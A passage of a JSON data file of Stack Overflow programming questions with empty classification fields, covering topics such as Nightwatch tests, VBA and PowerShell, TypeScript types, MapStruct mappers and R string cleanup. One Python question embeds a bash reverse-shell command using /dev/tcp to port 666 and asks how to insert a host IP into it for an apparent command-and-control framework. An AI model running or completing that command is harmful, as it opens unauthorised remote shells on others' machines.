/button&gt;\n</code></pre>\n\n<p>When asserting the element with id <code>productBook</code> as:</p>\n\n<pre><code>.assert.visible('button[id=productBook]')\n</code></pre>\n\n<p>I'm getting an error: </p>\n\n<pre><code>Testing if element &lt;button[id=productBook]&gt; is visible. Element could not be located. - expected \"true\" but got: \"null\"\n</code></pre>\n\n<p>I don't understand why this doesn't work for this specific element while it works for other elements. Is there some different way that list elements need to be verified?\nPlease help.</p>\n"},{"Classification":"","Title":"Convert Powershell script into VBA string","Body":"<p>I've created a script into Powershell ISE which works well :</p>\n\n<pre><code>$Connection = New-Object System.Data.SqlClient.SqlConnection\n$Cmd = New-Object System.Data.SqlClient.SqlCommand\n\n#Connection\n$Server = \"*****\"\n$Database = \"****\"\n$User =\"******\"\n$Pwd = \"******\"\n$Connection.ConnectionString = \"Server= $Server; Database= $Database; \nIntegrated Security= False; uid= $User; Password= $Pwd;\"\n$Connection.Open()\n\n#Execute query\n[string]$Query = Get-Content \"C:\\Users\\****\\Desktop\\testSQL.sql\"\n$cmd = $connection.CreateCommand()\n$cmd.CommandText = $Query\nif ($cmd.ExecuteNonQuery() -ne -1)\n{\necho \"Failed\";\n}\n\n$Connection.Close()\n</code></pre>\n\n<p>I manage to call this script from MS Access with VBA.</p>\n\n<pre><code>Public Sub Script()\n Dim ScriptPath As String\n ScriptPath = \"C:\\Users\\****\\Desktop\\Reprise_Besoins_2018.ps1\"\n Call Shell(\"powershell -noexit -command powershell.exe -Executionpolicy \n Bypass -file \" &amp; ScriptPath, vbMaximizedFocus)\nEnd Sub\n</code></pre>\n\n<p>I'd like to call directly this code from vba without using a file script.ps1.\nI tried this :</p>\n\n<pre><code>Public Sub Script2()\nDim ScriptText As String\nScriptText = \"$Connection = New-Object System.Data.SqlClient.SqlConnection \" &amp; vbCrLf &amp; _\n \"$Cmd = New-Object System.Data.SqlClient.SqlCommand\" &amp; vbCrLf &amp; _\n \"$Server = '****' \" &amp; vbCrLf &amp; _\n \"$Database = '****' \" &amp; vbCrLf &amp; _\n \"$User ='****' \" &amp; vbCrLf &amp; _\n \"$Pwd = '****' \" &amp; vbCrLf &amp; _\n \"$Connection.ConnectionString = 'Server= $Server; Database= $Database; Integrated Security= False; uid= $User; Password= $Pwd;'\" &amp; vbCrLf &amp; _\n \"$Connection.Open() \" &amp; vbCrLf &amp; _\n \"[string]$Query = Get-Content 'C:\\Users\\****\\Desktop\\testSQL.sql' \" &amp; vbCrLf &amp; _\n \"$cmd = $connection.CreateCommand() \" &amp; vbCrLf &amp; _\n \"$cmd.CommandText = $Query \" &amp; vbCrLf &amp; _\n \"if ($cmd.ExecuteNonQuery() -ne -1)\" &amp; vbCrLf &amp; _\n \"{echo 'Failed' } \" &amp; vbCrLf &amp; _\n \"$Connection.Close() \"\n\nCall Shell(\"PowerShell -noexit powershell.exe -Executionpolicy Bypass -Command\" &amp; ScriptText, vbNormalFocus)\nEnd Sub\n</code></pre>\n\n<p>I tried with différent kind of quote without success.\nAny ideas ?</p>\n"},{"Classification":"","Title":"Limit number of characters per line in multiline field","Body":"<p>I need functionaliy which will have TextArea with</p>\n\n<ol>\n<li>In each line there must be maximum of 30 chars</li>\n<li>Don't want to trim any value while typing, next characters grater than 30 in a line need appear automatically in next line</li>\n</ol>\n\n<p>Below code I'm using, but it trims the next line 1st character while pasting a line with 30+ characters.</p>\n\n<pre><code>&lt;textarea id=\"textareainput\"&gt;&lt;/textarea&gt;\n\n\nvar input= document.getElementById(\"textareainput\");\nvar lines = input.value.split(\"\\n\");\nvar start = input.selectionStart;\nvar end = input.selectionEnd;\n\nfor (var i = 0; i &lt; lines.length; i++) {\n if (lines[i].length &lt;= 30) continue;\n var j = 0; space = 30;\n while (j++ &lt;= 30) {\n if (lines[i].charAt(j) === \" \") space = j;\n }\n lines[i + 1] = lines[i].substring(space + 1) + (lines[i + 1] ? \" \" + lines[i + 1] : \"\");\n lines[i] = lines[i].substring(0, space);\n}\n\ninput.value = lines.slice(0, lines.length).join(\"\\n\");\n\nif (start == end) {\n input.setSelectionRange(start, end);\n}\n</code></pre>\n"},{"Classification":"","Title":"Using Dropzone inside a form","Body":"<p>First: this is not a duplicate question, as I didn't find any answer that is working out there.</p>\n\n<p>I am trying to use Dropzonejs inside a form, the <a href=\"http://www.dropzonejs.com/#create-dropzones-programmatically\" rel=\"nofollow noreferrer\">documentation</a> is not working, also; all answers out there is not working too.</p>\n\n<p>I need a working example, as I have tried so many examples and answers without any luck to get it to work.</p>\n\n<p>Please advise.</p>\n\n<pre><code>&lt;form enctype=\"multipart/form-data\" action=\"action\" accept-charset=\"UTF-8\" method=\"post\" novalidate=\"novalidate\" class=\"dropzone\"&gt;\n &lt;div class=\"row\"&gt;\n &lt;div class=\"col-xs-10\"&gt;\n &lt;/div&gt;\n &lt;div class=\"col-xs-2\" id=\"dropClickable\"&gt;\n Drop Your File here...!!\n &lt;/div&gt;\n &lt;/div&gt;\n&lt;/form&gt;\n\n&lt;script&gt;\n Dropzone.autoDiscover = false;\n jQuery(document).ready(function() {\n Dropzone.options.myAwesomeDropzone = {\n autoProcessQueue: false,\n uploadMultiple: true,\n parallelUploads: 100,\n maxFiles: 100,\n init: function () {\n // Do your update and process stuff\n }\n }\n })\n&lt;/script&gt;\n</code></pre>\n\n<p>Also; tried this example, and got nothing to work:</p>\n\n<p><a href=\"https://github.com/enyo/dropzone/wiki/Combine-normal-form-with-Dropzone\" rel=\"nofollow noreferrer\">https://github.com/enyo/dropzone/wiki/Combine-normal-form-with-Dropzone</a></p>\n\n<p>And that's what I get:</p>\n\n<p><a href=\"https://i.stack.imgur.com/ZoPNf.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ZoPNf.png\" alt=\"enter image description here\"></a></p>\n"},{"Classification":"","Title":"Websocket atmosphere: handle 302 status code","Body":"<p>I use atmosphere both in client and server side to use websockets. I can restart my server and then the current user sessions can be erased or not.</p>\n\n<p>When I erase user sessions and js-client atmosphere websocket tries to establish connection, it receives the 302 code:</p>\n\n<pre><code>blob:http://servername:8888/eb2199e1-9415-4487-bb78-2c8fda726878:164\nWebSocket connection to 'ws://servername:8888/xxx/yyy/atmosphere/handler?X-Atmosphere-tracking-id=5541fb00-9391-435e-bbf9-d835870986d4&amp;X-Atmosphere-Framework=2.3.5-javascript&amp;X-Atmosphere-Transport=websocket&amp;X-Atmosphere-TrackMessageSize=true&amp;Content-Type=application/json&amp;X-atmo-protocol=true' failed:\nError during WebSocket handshake: Unexpected response code: 302\nWrappedWebSocket\n</code></pre>\n\n<p>It is ok from the server logic to send 302. However, in JS code I need somehow to handle this case and make proper logic (show user a message, redirect to login page, etc).</p>\n\n<p>The question is: do atmosphere framework have any possibilities to handle this case and if yes, which are they?</p>\n\n<p>Because after that I only have the following calls and nothing more. I receive no callbacks in atmosphere listeners, which I have registered.</p>\n\n<pre><code>Atmosphere: websocket.onerror\nAtmosphere: websocket.onclose\n</code></pre>\n"},{"Classification":"","Title":"Join two Table and union - no duplicates","Body":"<p>I have two tables:</p>\n\n<p>Illustration</p>\n\n<p><a href=\"https://i.stack.imgur.com/jNSDH.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/jNSDH.png\" alt=\"enter image descri,ption here\"></a></p>\n\n<p>In the first table, I have the column NR which I join on the second table also on NR. This gives me the Infos I wanna know. But another step I have to take is that some people can also write this NR into a text field. So I perform a Filter to get only the numeric values and then perform a join on <code>t1.NR on t2.NRfromText</code>\nThis gives me two tables one with <code>NR on NR</code> and <code>NR on TextNR</code>.\nThen I do a union between this two tables. I'm not sooo much into SQL but I would say that duplicates would not exits here? \nSo the question here is then performing a join (inner join) <code>on t1.NR = t1.NR</code> only rows with this combination \"will be in t1\" and only rows with <code>t1.NR = t2.NRText</code> will be in t2? So then I do the union there won't be any duplicates? </p>\n"},{"Classification":"","Title":"TypeScript understands conditional type at call site but not usage site?","Body":"<p>I'm trying to make a function that will extract a string or number from a passed-in object. The caller is allowed to either 1) pass in a function that takes the object and returns <code>string | number</code> or 2) pass in the name of a property that is a string or number.</p>\n\n<p>Conditional types in 2.8 seem like they should be able to do this (and they sort of do!) but unfortunately getting TS not to complain when I use the property name requires a type assertion through <code>any</code> which seems incorrect. At the call site of the function the type <em>is</em> checked properly, so I don't think I'm miles away from the right answer.</p>\n\n<pre><code>type RowKey = string | number;\ntype RowKeyableNames&lt;T&gt; = { [K in keyof T]: T[K] extends RowKey ? K : never }[keyof T];\ntype RowKeyable&lt;T&gt; = Pick&lt;T, RowKeyableNames&lt;T&gt;&gt;;\ntype RowKeySel&lt;T&gt; = { (val: T): RowKey; } | RowKeyableNames&lt;T&gt;;\nconst getRowKey = &lt;T extends {}&gt;(val: T, sel: RowKeySel&lt;T&gt;): RowKey =&gt; {\n if (typeof sel === 'function') {\n return sel(val);\n } else {\n // This shouldn't error, but it does! See error message below.\n return val[sel];\n }\n}\n\ninterface Foo {\n id: number;\n name: string;\n contents: any[];\n}\n\nfunction myThing(foo: Foo): RowKey {\n // works, like it should.\n getRowKey(foo, 'id');\n getRowKey(foo, 'name');\n\n // errors, like it should! That's what we want.\n getRowKey(foo, 'contents');\n}\n</code></pre>\n\n<p>The error message I get back is:</p>\n\n<pre><code>Type 'RowKey[] | T[{ [K in keyof T]: T[K] extends RowKey ? K : never; }[keyof T]][]' is not assignable to type 'RowKey[]'.\n Type 'T[{ [K in keyof T]: T[K] extends RowKey ? K : never; }[keyof T]][]' is not assignable to type 'RowKey[]'.\n Type 'T[{ [K in keyof T]: T[K] extends RowKey ? K : never; }[keyof T]]' is not assignable to type 'RowKey'.\n Type 'T[{ [K in keyof T]: T[K] extends RowKey ? K : never; }[keyof T]]' is not assignable to type 'number'.\n</code></pre>\n\n<p>I'm hoping to avoid the double-type-assertion (<code>as any as RowKey</code>), but I may have to go that route.</p>\n\n<p><strong>The question is: What do I need the type of <code>RowKeySel&lt;T&gt;</code> to look like for this to work without the double type-assertion?</strong></p>\n\n<p><em>Edit:</em> My best guess is that the other keys of <code>T</code> aren't really removed by this conditional type, they're just set to <code>never</code>. Therefore, <code>val[sel]</code> is maybe (??) being interpreted as <code>string | number | never</code>?</p>\n"},{"Classification":"","Title":"Django Static files URL,ROOT,DIR confusion","Body":"<p>I am using Django v1.11.In the setting file I have set like this</p>\n\n<pre><code>STATIC_URL = '/static/'\n\nSTATIC_ROOT = os.path.join(BASE_DIR, \"e\",\"static\",\"static_root\")\n\nSTATICFILES_DIRS = [\nos.path.join(BASE_DIR, \"e\",\"static\",\"static_dir\"),\n ]\n</code></pre>\n\n<p>Firstly I copied all my css,js,img file in static_dir folder.Then I run the command </p>\n\n<pre><code> python manage.py collectstatic\n</code></pre>\n\n<p>Which copied all the files from static_dir to static_root.As I can understand now all my css files should be loaded from static_root. But I can see that css files are being loaded from static_dir. So can anyone please explain it to me what is happening ? Why should I use static_root ? I can not find any use of static_root</p>\n"},{"Classification":"","Title":"graphQL prevent parent resolver from performing unnecessary api call","Body":"<p>I have a schema that is something like this</p>\n\n<pre><code>type Query {\n a(aId: ID!): A\n}\n\ntype A {\n id: ID!\n b: String\n c: C\n}\n</code></pre>\n\n<p>The resolvers are then something like this</p>\n\n<pre><code>const resolvers = {\n Query: {\n a: (obj, args, context) =&gt; {\n return loadA(args.aId)\n }\n },\n A: {\n c: (a, args, context) =&gt; {\n return loadC(a.id)\n }\n }\n}\n</code></pre>\n\n<p>This is great if I issue a query that requests both b and c, but if I'm only requesting c, I end up calling loadA (which in this case is making a network request to a service), that isn't strictly necessary, since I already have a's id from the query arguments.</p>\n\n<p>Is there an efficient way of avoiding the call to loadA in the case that I'm only returning child fields that don't actually need that data?</p>\n\n<p>I know one option might just be to just add another query, so it would be</p>\n\n<pre><code>type Query {\n a(aId: ID!): A\n c(aId: ID!): C\n}\n</code></pre>\n\n<p>but that doesn't quite feel right schema-wise.</p>\n"},{"Classification":"","Title":"UITableViewAutomaticDimension changes multiple times","Body":"<p>I have a project that uses iOS's default dynamic font. As so, I'm using <code>UITableViewAutomaticDimension</code> for the height. I'm doing everything programmatically, so I set the constraints for my custom cells.</p>\n\n<h2>My Understanding of Constraints and <code>UITableViewCell</code>s</h2>\n\n<p>From what I can understand about constraints, is that when you apply them to the <code>superView</code>, the attributes that you set to be constrained will be forced to move based on the size of the <code>superView</code>. But if you set the constraints to the <code>contentView</code> of the <code>UITableViewCell</code>, then the attribute that you set the constraints to will force the <code>UITableViewCell</code> to change its height, width, ext.</p>\n\n<h2>CustomTableViewCell</h2>\n\n<pre><code>import SnapKit\n\nlazy var loadingIndicator: UIActivityIndicatorView = {\n let loadingIndicator = UIActivityIndicatorView(activityIndicatorStyle: .gray)\n loadingIndicator.sizeToFit()\n\n loadingIndicator.autoresizingMask = [UIViewAutoresizing.flexibleHeight]\n loadingIndicator.hidesWhenStopped = true\n\n return loadingIndicator\n}()\n\nlazy var logoImageView: UIImageView = {\n let logoImageView = UIImageView()\n\n logoImageView.contentMode = UIViewContentMode.scaleAspectFit\n logoImageView.backgroundColor = UIColor.white\n\n logoImageView.clipsToBounds = true\n\n return logoImageView\n}()\n\nlazy var storeLabel: UILabel = {\n let storeLabel = UILabel()\n storeLabel.sizeToFit()\n\n storeLabel.font = UIFont.preferredFont(forTextStyle: .footnote)\n storeLabel.adjustsFontForContentSizeCategory = true\n storeLabel.textColor = UIColor.lightGray\n\n return storeLabel\n}()\n\nlazy var priceLabel: UILabel = {\n let priceLabel = UILabel()\n priceLabel.sizeToFit()\n\n priceLabel.font = UIFont.preferredFont(forTextStyle: .title1)\n priceLabel.adjustsFontForContentSizeCategory = true\n priceLabel.textColor = UIColor.black\n\n return priceLabel\n}()\n\nlazy private var stackView: UIStackView = {\n let stackView = UIStackView()\n stackView.sizeToFit()\n\n stackView.axis = UILayoutConstraintAxis.vertical\n stackView.alignment = UIStackViewAlignment.leading\n stackView.distribution = UIStackViewDistribution.fill\n stackView.spacing = 0\n\n return stackView\n}()\n\nlazy private var priceStackView: UIStackView = {\n let priceStackView = UIStackView()\n priceStackView.sizeToFit()\n\n priceStackView.axis = UILayoutConstraintAxis.horizontal\n priceStackView.alignment = UIStackViewAlignment.center\n priceStackView.distribution = UIStackViewDistribution.fill\n priceStackView.spacing = 0\n\n return priceStackView\n}()\n\noverride func draw(_ rect: CGRect) {\n super.draw(rect)\n\n let margins = contentView.layoutMarginsGuide\n\n contentView.addSubview(logoImageView)\n contentView.addSubview(stackView)\n\n stackView.addArrangedSubview(storeLabel)\n stackView.addArrangedSubview(priceStackView)\n\n priceStackView.addArrangedSubview(loadingIndicator)\n priceStackView.addArrangedSubview(priceLabel)\n\n logoImageView.snp.makeConstraints { (make) in\n make.left.equalTo(layoutMarginsGuide).offset(layoutMargins.left * 0.5)\n make.centerY.height.equalTo(layoutMarginsGuide)\n make.width.equalTo(logoImageView.snp.height)\n }\n\n stackView.snp.makeConstraints { (make) in\n make.left.equalTo(logoImageView.snp.right).offset(layoutMargins.left * 1.5)\n make.right.centerY.equalTo(margins)\n make.height.equalTo(margins).offset(-15)\n }\n}\n</code></pre>\n\n<h2>Output</h2>\n\n<p>Everything should work perfectly fine, but I don't get the <a href=\"https://i.stack.imgur.com/oQ1uo.png\" rel=\"nofollow noreferrer\">desired height</a>.</p>\n\n<p><a href=\"https://i.stack.imgur.com/qAHdD.png\" rel=\"nofollow noreferrer\">First</a> height, a second later the height changes to <a href=\"https://i.stack.imgur.com/qHmGa.png\" rel=\"nofollow noreferrer\">this</a>, and the final desired height is <a href=\"https://i.stack.imgur.com/oQ1uo.png\" rel=\"nofollow noreferrer\">this</a>. Am I setting the constraints wrong, or is this just a general iOS bug?</p>\n"},{"Classification":"","Title":"Loading huge records of an excel file to Core Data (Offline Storage)","Body":"<p>Is it possible to load around 100,000 records from an excel file directly to CoreData.\nI need to create an offline application with a database of 100,000 members.</p>\n\n<p>What I did earlier for around 1000 members is that I have concatenate the columns of the excel file to create a string(adding the data to NSMutable array)..then I have called the core data manager to insert the array to the core data. (I have created a standalone class for this purpose.</p>\n\n<pre><code> NSMutableArray* array= [NSMutableArray new];\n\n //the below lines are generated after concatenation in excel file\n [array addObject:@{@\"id\":@\"1\",@\"name\":@\"John\",@\"Last Name\":@\"Smith\",... other data}];\n [array addObject:@{@\"id\":@\"w\",@\"name\":@\"Lara\",@\"Last Name\":@\"Smith\",... other data}];\n\n//Add the array to database \n</code></pre>\n\n<p>The issue that I am currently facing is that when I have added all the 100,000 records to the method, it is crashing once I call the standalone class.</p>\n\n<p>I am stuck now and I need an advise on what should I do? \nIs there any possible way to insert such huge numbers of records directly from an excel file to DB? or what is the best practice to load such a huge number of rows.</p>\n"},{"Classification":"","Title":"Can I use scipy-approx_fprime() for tensorflow operations?","Body":"<p><a href=\"https://docs.scipy.org/doc/scipy/reference/generated/scipy.optimize.approx_fprime.html\" rel=\"nofollow noreferrer\">https://docs.scipy.org/doc/scipy/reference/generated/scipy.optimize.approx_fprime.html</a></p>\n\n<pre><code>from scipy import optimize\nforward_module = tf.load_op_library('./build/libforwardcu.so')\nf2 = tf.tanh(tf.conv2d(x1, w)+b)\nf1 = tf.tanh(tf.conv2d(x2, w)+b)\ndef func(x):\n forward_module.forward(x,f2, disps, 1, 0)\n return loss\noptimize.approx_fprime(x, func, 1e-6)\n</code></pre>\n\n<p>Would <code>approx_fprime</code> automatically detect the derivation rules from tensorflow (costs, loss)? </p>\n\n<p>I mean that if the function is <code>f(x)=x^2</code>, then the derivation would be detected by scipy <code>f'(x)=2x</code>. Of course by a neural network is a lot more effort and I want to avoid to do that by hand...</p>\n"},{"Classification":"","Title":"Retrieving the minimum element in a stack at a constant time","Body":"<p>Can you please help me understand what is going on in this line of code? </p>\n\n<pre><code>def push(self, x):\n self.stack.append(x)\n if len(self.minStack):\n if x &lt; self.minStack[-1][0]:\n self.minStack.append([x, 1])\n elif x == self.minStack[-1][0]:\n self.minStack[-1][1] += 1\n else:\n self.minStack.append([x, 1])\n</code></pre>\n\n<p>it is taken from the line of this code:</p>\n\n<pre><code>class MinStack2:\n def __init__(self):\n self.stack, self.minStack = [], []\n\n # @param x, an integer\n # @return an integer\n\n def push(self, x):\n self.stack.append(x)\n if len(self.minStack):\n if x &lt; self.minStack[-1][0]:\n self.minStack.append([x, 1])\n elif x == self.minStack[-1][0]:\n self.minStack[-1][1] += 1\n else:\n self.minStack.append([x, 1])\n</code></pre>\n\n<p>You can also find it at this GitHub account: <a href=\"https://github.com/kamyu104/LeetCode/blob/master/Python/min-stack.py\" rel=\"nofollow noreferrer\">https://github.com/kamyu104/LeetCode/blob/master/Python/min-stack.py</a></p>\n\n<p>Thank you in advance</p>\n\n<p><strong>Please, dont just mark it down if there is any misunderstanding for you. Leave a feedback rather. This is a plattform to learn and I feel like marking post down without an explanantion is very uneducated</strong></p>\n"},{"Classification":"","Title":"In a React Component, what's the difference between foo(){} and bar = () => {} and when should I use which?","Body":"<p>Babel is doing its magic, which makes me very confused about what's going on.</p>\n\n<p>What's the difference between foo and bar in this react Component? And when should I use which? </p>\n\n<pre><code>class MyComponent extends Component {\n foo() {\n //...\n }\n bar = () =&gt; {\n //... \n }\n}\n</code></pre>\n\n<p>(My own guess is foo is in the prototype, and bar is in the constructor? Anyways, I don't know what I'm talking about)</p>\n"},{"Classification":"","Title":"mapstruct update mapping one-to-many relationship by merging child dto with existing child entities","Body":"<p>I have two entities with a one-to-many relationship, as follow:</p>\n\n<pre><code>public class ParentEntity {\n\n private Long id;\n private String name;\n private List&lt;ChildEntity&gt; children;\n\n //getters/setters\n\n}\n\npublic class ChildEntity {\n\n private Long id;\n private String name;\n private ParentEntity myParent;\n\n private String notMappedField1;\n private Long notMappedField2;\n\n //getters/setters\n\n}\n</code></pre>\n\n<p>And the DTOs</p>\n\n<pre><code>public class ParentDTO {\n\n private Long id;\n private String name;\n private List&lt;ChildDto&gt; children;\n\n //getters/setters\n\n }\n\n public class ChildDto {\n\n private Long id;\n private String name;\n private ParentDto myParent;\n\n //getters/setters\n\n }\n</code></pre>\n\n<p>With Mapstruct annotations I created two mappers, one for each entity:</p>\n\n<pre><code> @Mapper(componentModel = \"cdi\", uses = {ChildMapper.class})\n public interface ParentMapper { \n ParentDto toDto(ParentEntity entity); \n ParentEntity toEntity(ParentDto s); \n ParentEntity toEntity(ParentDto s, @MappingTarget ParentEntity entity); \n }\n\n @Mapper(componentModel = \"cdi\")\n public interface ChildMapper {\n\n ChildDto toDto(ChildEntity entity);\n\n @Mapping(target = \"myParent\", ignore = true)\n ChildEntity toEntity(ChildDto s);\n\n @InheritConfiguration\n ChildEntity toEntity(ChildDto s, @MappingTarget ChildEntity entity);\n\n }\n</code></pre>\n\n<p>The generated parent mapper is the following:</p>\n\n<pre><code>@ApplicationScoped\npublic class ParentMapperImpl implements ParentMapper {\n\n @Inject\n private ChildMapper childMapper;\n\n @Override\n public ParentDto toDto(ParentEntity entity) {\n if ( entity == null ) {\n return null;\n }\n\n ParentDto parentDto = new ParentDto();\n\n parentDto.setId( entity.getId() );\n parentDto.setName( entity.getName() );\n parentDto.setChildren( childEntityListToChildDtoList( entity.getChildren() ) );\n\n return parentDto;\n }\n\n @Override\n public ParentEntity toEntity(ParentDto s) {\n if ( s == null ) {\n return null;\n }\n\n ParentEntity parentEntity = new ParentEntity();\n\n parentEntity.setId( s.getId() );\n parentEntity.setName( s.getName() );\n parentEntity.setChildren( childDtoListToChildEntityList( s.getChildren() ) );\n\n return parentEntity;\n }\n\n @Override\n public ParentEntity toEntity(ParentDto s, ParentEntity entity) {\n if ( s == null ) {\n return null;\n }\n\n entity.setId( s.getId() );\n entity.setName( s.getName() );\n if ( entity.getChildren() != null ) {\n List&lt;ChildEntity&gt; list = childDtoListToChildEntityList( s.getChildren() );\n if ( list != null ) {\n entity.getChildren().clear();\n entity.getChildren().addAll( list );\n }\n else {\n entity.setChildren( null );\n }\n }\n else {\n List&lt;ChildEntity&gt; list = childDtoListToChildEntityList( s.getChildren() );\n if ( list != null ) {\n entity.setChildren( list );\n }\n }\n\n return entity;\n }\n\n protected List&lt;ChildDto&gt; childEntityListToChildDtoList(List&lt;ChildEntity&gt; list) {\n if ( list == null ) {\n return null;\n }\n\n List&lt;ChildDto&gt; list1 = new ArrayList&lt;ChildDto&gt;( list.size() );\n for ( ChildEntity childEntity : list ) {\n list1.add( childMapper.toDto( childEntity ) );\n }\n\n return list1;\n }\n\n protected List&lt;ChildEntity&gt; childDtoListToChildEntityList(List&lt;ChildDto&gt; list) {\n if ( list == null ) {\n return null;\n }\n\n List&lt;ChildEntity&gt; list1 = new ArrayList&lt;ChildEntity&gt;( list.size() );\n for ( ChildDto childDto : list ) {\n list1.add( childMapper.toEntity( childDto ) );\n }\n\n return list1;\n }\n}\n</code></pre>\n\n<p>But when the <code>ParentMapper.toEntity(ParentDto s, ParentEntity entity)</code> is called, \non the child mapper is called <code>ChildMapper.toEntity(ChildDto s)</code>.</p>\n\n<p>Instead I would like the following child mapper method <code>ChildMapper.toEntity(ChildDto s, ChildEntity entity)</code> to be called, \nto merge the existing children entities (let's say we have other fields on the \nchild entities that are not present in the Dto that we don't want to lose).<br>\nThe desired result is the following, or something equivalent:</p>\n\n<pre><code>@ApplicationScoped\npublic class ParentMapperImpl implements ParentMapper {\n\n ...\n\n @Override\n public ParentEntity toEntity(ParentDto s, ParentEntity entity) {\n if (s == null) {\n return null;\n }\n\n entity.setId(s.getId());\n entity.setName(s.getName());\n if (entity.getChildren() != null) {\n List&lt;ChildEntity&gt; list = childDtoListToChildEntityList(s.getChildren(), entity.getChildren());\n if (list != null) {\n entity.getChildren().clear();\n entity.getChildren().addAll(list);\n } else {\n entity.setChildren(null);\n }\n } else {\n List&lt;ChildEntity&gt; list = childDtoListToChildEntityList(s.getChildren());\n if (list != null) {\n entity.setChildren(list);\n }\n }\n\n return entity;\n }\n\n ...\n\n protected List&lt;ChildEntity&gt; childDtoListToChildEntityList(List&lt;ChildDto&gt; list, List&lt;ChildEntity&gt; entities) {\n if (list == null) {\n return null;\n }\n\n\n final List&lt;ChildEntity&gt; list1 = new ArrayList&lt;ChildEntity&gt;(list.size());\n for (ChildEntity entity : entities) {\n Optional&lt;ChildEntity&gt; optional = findEntity(entity.getId(), list);\n if (optional.isPresent()) {\n list1.add(childMapper.toEntity(optional.get(), entity));\n }\n }\n\n list1.addAll(\n list.stream()\n .filter(dto -&gt; dto.getId() == null)\n .map(dto -&gt; childMapper.toEntity(dto))\n .collect(Collectors.toList())\n );\n\n\n return list1;\n }\n\n private Optional&lt;ChildEntity&gt; findEntity(Long id, List&lt;ChildDto&gt; list) {\n return list.stream().filter(dto -&gt; dto.getId().equals(id)).findAny();\n }\n\n} \n</code></pre>\n"},{"Classification":"","Title":"how to remove \"\" from the vector in R","Body":"<p>How can I remove the \"to be able to download the vector's content\ni have vector:</p>\n\n<pre><code>&gt;wspólne\n 1 1 29 1 0 37 1 45 \n \"1\" \"1\" \"29\" \"1\" \"0\" \"37\" \"1\" \"45\" \"31\" \"12\" \"2\" \"32\" \"25\" \n</code></pre>\n\n<p>when he wants to get a value from this vector, he gets something like that</p>\n\n<pre><code>waga_linków[wspólne]\n [1] NA NA NA NA NA NA NA NA NA NA NA NA NA\n</code></pre>\n\n<p>how to write it correctly to get all the values without \"\" ??</p>\n"},{"Classification":"","Title":"Adding a delay in AngularJS forEach","Body":"<p>I'm trying to put a delay in a forEach loop in AngularJS. With $timeout, they're firing once at the same time. With $interval, they're caught in an infinite loop, again at the same time.</p>\n\n<p>I need the function delay between iterations of the forEach loop to fire the animations in delayed succession rather than at the same time.</p>\n\n<pre><code>...\nvm.questions = [\n {correct:false,animateDemo:false},\n {correct:true,animateDemo:false}, \n {correct:true,animateDemo:false}\n];\n\nvm.questions.forEach(function(question, idx) {\n // need a delay between animationDemo assignments\n $timeout(function(){\n if (question.correct) {\n question.animateDemo = true;\n }\n },1000);\n });\n</code></pre>\n\n<p>I tried interval too, but that causes an infinite loop.</p>\n\n<pre><code>vm.questions = [{correct:false}. {correct:true}, {correct:true}];\n\n\nvm.questions.forEach(function(question, idx) {\n // causes infinite loop\n $interval(function(){\n if (question.correct) {\n question.animateDemo = true;\n }\n },1000);\n });\n</code></pre>\n\n<p>I'm sure the solution is probably something simple, but getting it in this syntax is a bit confusing to me personally.</p>\n"},{"Classification":"","Title":"Seek table elements with a specific letter combination and remove the last few characters","Body":"<p>I have a table of genes, some of which are duplicated. I'm not concerned about the duplication. The duplication comes from a transcript from Ensemble gene database. When this is reported, it includes the gene XXXX, then adds _ENST00000WWWWWW, this added portion is always 16 characters (where XXXXX is the gene name and WWWWWW are integers). This shows up as XXXX_ENST00000WWWWWW. There are simply too many instances to remove these manually. How can I loop through this, recognize this pattern, and remove those elements? Example below. </p>\n\n<pre><code> Name Gene.Name CDS.Mutation AA.Mutation\n1 1A ASXL3 c.350G&gt;T p.S117I\n2 1A ASXL3_ENST00000269197 c.1229G&gt;T p.S410I\n3 1A C9orf174 c.95G&gt;A p.R32Q\n4 1A CLTC_ENST00000269122 c.2128G&gt;C p.G710R\n5 1A COL4A4 c.274G&gt;A p.G92R\n6 1A CREBBP c.4445A&gt;G p.Y1482C\n\n\n\n Name Gene.Name CDS.Mutation AA.Mutation\n1 1A ASXL3 c.350G&gt;T p.S117I\n2 1A ASXL3 c.1229G&gt;T p.S410I\n3 1A C9orf174 c.95G&gt;A p.R32Q\n4 1A CLTC c.2128G&gt;C p.G710R\n5 1A COL4A4 c.274G&gt;A p.G92R\n6 1A CREBBP c.4445A&gt;G p.Y1482C\n</code></pre>\n\n<p>This is kind of what I pulled together, but I may not know enough to understand this fully. I get a ton of errors on this.</p>\n\n<pre><code>raw &lt;- read.xlsx(\"Mutations.xlsx\")\nfor (i in 1:nrow(raw)){\n if (length(grep(\"ENST\", raw[i,2])) == 1){\n raw[i,2] &lt;- gsub('.{16}$','', raw[i,2])\n }\n}\n</code></pre>\n"},{"Classification":"","Title":"Need to read ONE variable from a JSON file to input as variable in another part of a script","Body":"<p>I am having issues with python 2.7. I have the following JSON file that I am trying to only pull the HOST variable from:</p>\n\n<pre><code>{\n \"443\": {\n \"ssl\": true,\n \"host\": \"192.168.1.8\",\n \"cert\": \"v3ga.pem\",\n \"name\": \"Test\",\n \"open\": false\n }\n}\n</code></pre>\n\n<p>Further in my script, I have an item to which I would like to input ONLY the \"host\" IP as 192.168.1.8.</p>\n\n<p>I have tried to use the following snippet which pulls all variables:</p>\n\n<pre><code>import json\nfrom pprint import pprint\ndata = json.load(open('config/listener.json'))\npprint(data)\n</code></pre>\n\n<p>Which returns:</p>\n\n<pre><code>{\n \"u'443'\": {\n \"u'cert'\": \"u'fruityc2.pem'\",\n \"u'host'\": \"u'192.168.1.8'\",\n \"u'name'\": \"u'Test'\",\n \"u'open'\": false,\n \"u'ssl'\": true\n }\n}\n</code></pre>\n\n<p>How would I insert this into <strong>('0&lt;&amp;196;exec 196&lt;>/dev/tcp/HOST/666; sh &lt;&amp;196 >&amp;196 2>&amp;196')</strong> so that it can print appropriately in the framework I am trying to create?</p>\n"},{"Classification":"","Title":"HTML canvas changing colors unexpectedly","Body":"<p>I am trying to make a grid with HTML canvas. I have written the following code. Everything works correctly at first, but as soon as the window is resized, the color of the grid lines changes color for some reason. </p>\n\n<p>If you are unable to reproduce the behavior, <a href=\"https://vimeo.com/266949223\" rel=\"nofollow noreferrer\">here is a video of the behavior</a>. </p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\n<div class=\"snippet-code\">\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>var canvas = document.querySelector('canvas');\n\ncanvas.width = window.innerWidth;\ncanvas.height = 